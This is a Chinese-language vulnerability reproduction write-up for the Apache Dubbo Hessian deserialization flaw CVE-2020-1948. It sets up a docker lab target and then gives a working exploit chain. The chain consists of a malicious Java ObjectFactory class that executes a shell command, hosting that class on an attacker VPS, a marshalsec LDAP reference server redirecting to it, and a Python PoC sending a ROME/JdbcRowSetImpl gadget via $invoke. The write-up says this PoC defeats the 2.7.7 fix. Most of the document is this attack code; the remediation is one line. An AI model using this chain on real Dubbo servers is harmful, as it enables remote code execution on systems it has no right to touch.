# Apache Dubbo Hessian 反序列化漏洞 CVE-2020-1948

## 漏洞描述

Apache Dubbo 是一款高性能 Java RPC 框架。漏洞存在于 Apache Dubbo 默认使用的反序列化工具 hessian 中，攻击者可能会通过发送恶意 RPC 请求来触发漏洞，这类 RPC 请求中通常会带有无法识别的服务名或方法名，以及一些恶意的参数负载。当恶意参数被反序列化时，达到代码执行的目的。

要想利用该漏洞需要满足以下条件：

- Dubbo 服务端应用引入了 `com.rometools:rome:1.7.0` 或 `com.caucho:quercus:4.0.45` 等不安全的 rome、quercus 等第三方类库版本。
- JDK 版本低于 `7u201` 或者低于 `8u191`（存在 RMI 或者 LDAP 这种 JNDI 注入方式），JDK 相关 RCE 漏洞利用方式及受影响的版本：
    - 通过 RMI 协议加载远程 RMI Registry 上的恶意对象，受影响的 JDK 版本：低于 `6u45` 或者低于 `7u21`。
    - RMI + JNDI 注入，受影响的 JDK 版本：低于 `6u132`、低于 `7u122` 或低于 `8u113`。
    - LDAP + JNDI 注入，受影响的 JDK 版本：低于 `6u211`、低于 `7u201`、低于 8u191 或 `11u1`。

参考链接：

- https://www.mail-archive.com/dev@dubbo.apache.org/msg06544.html
- https://hub.docker.com/r/dsolab/dubbo

## 漏洞影响

```
Apache Dubbo 2.7.0 to 2.7.6
Apache Dubbo 2.6.0 to 2.6.7
Apache Dubbo all 2.5.x versions（已不再更新维护）
```

准确地说，也影响了 2.7.7 和 2.6.8 版本，因为修复方案被绕过。

## 环境搭建

docker-compose.yaml

```
version: "3"

services:
  api:
    build: .
    image: dsolab/dubbo:cve-2020-1948
    container_name: cve-2020-1948
    ports:
      - "12345:12345"
```

执行如下命令启动一个 Apache Dubbo 2.7.7 版本的服务器：

```
docker-compose up -d
```

服务启动后，监听在 `your-ip:12345` 端口。

## 漏洞复现

准备 exp.java，编译：

```java
import javax.naming.spi.ObjectFactory;
import javax.naming.Name;
import javax.naming.Context;
import java.util.Hashtable;
import java.io.IOException;

public class exp implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        try {
            Runtime.getRuntime().exec("touch /tmp/success");
        } catch (IOException e) {
            e.printStackTrace();
        }
        return null;
    }
}
```

```
javac exp.java
```

vps 开启 web 服务，托管编译后的 exp.class：

```
http://your-vps-ip/exp.class
```

启动 LDAP 服务，监听端口为 9999：

```
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip/#exp 9999
```

本地构建测试脚本 poc.py：

```shell
# -*- coding: utf-8 -*-

import sys

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

if len(sys.argv) < 4:
  print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
  print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))
  sys.exit()

client = DubboClient(sys.argv[1], int(sys.argv[2]))

JdbcRowSetImpl=new_object(
  'com.sun.rowset.JdbcRowSetImpl',
  dataSource=sys.argv[3],
  strMatchColumns=["foo"]
  )
JdbcRowSetImplClass=new_object(
  'java.lang.Class',
  name="com.sun.rowset.JdbcRowSetImpl",
  )
toStringBean=new_object(
  'com.rometools.rome.feed.impl.ToStringBean',
  beanClass=JdbcRowSetImplClass,
  obj=JdbcRowSetImpl
  )

resp = client.send_request_and_return_response(
  service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
  # 此处可以是 $invoke、$invokeSync、$echo 等，通杀 2.7.7 及 CVE 公布的所有版本
  method_name='$invoke',
  args=[toStringBean])

output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
  print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
   print('[+] Succeed.')
else:
  print('[!] Output:')
  print(output)
  print('[!] Target maybe not use dubbo-remoting library.')
```

运行测试脚本：

```
python poc.py your-ip 12345 ldap://your-vps-ip:9999/exp
```

![](images/Apache%20Dubbo%20Hessian%20反序列化漏洞%20CVE-2020-1948/image-20250612142204566.png)

可以看到，LDAP 代理成功接收请求，并将请求转发到 vps：

```
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://10.8.0.1/\#exp 9999
Listening on 0.0.0.0:9999
Send LDAP reference result for exp redirecting to http://10.8.0.1/exp.class
```

![](images/Apache%20Dubbo%20Hessian%20反序列化漏洞%20CVE-2020-1948/image-20250612142258289.png)

![](images/Apache%20Dubbo%20Hessian%20反序列化漏洞%20CVE-2020-1948/image-20250612142323434.png)

命令被成功执行：

![](images/Apache%20Dubbo%20Hessian%20反序列化漏洞%20CVE-2020-1948/image-20250612142426975.png)

## 漏洞修复

升级至最新版本。
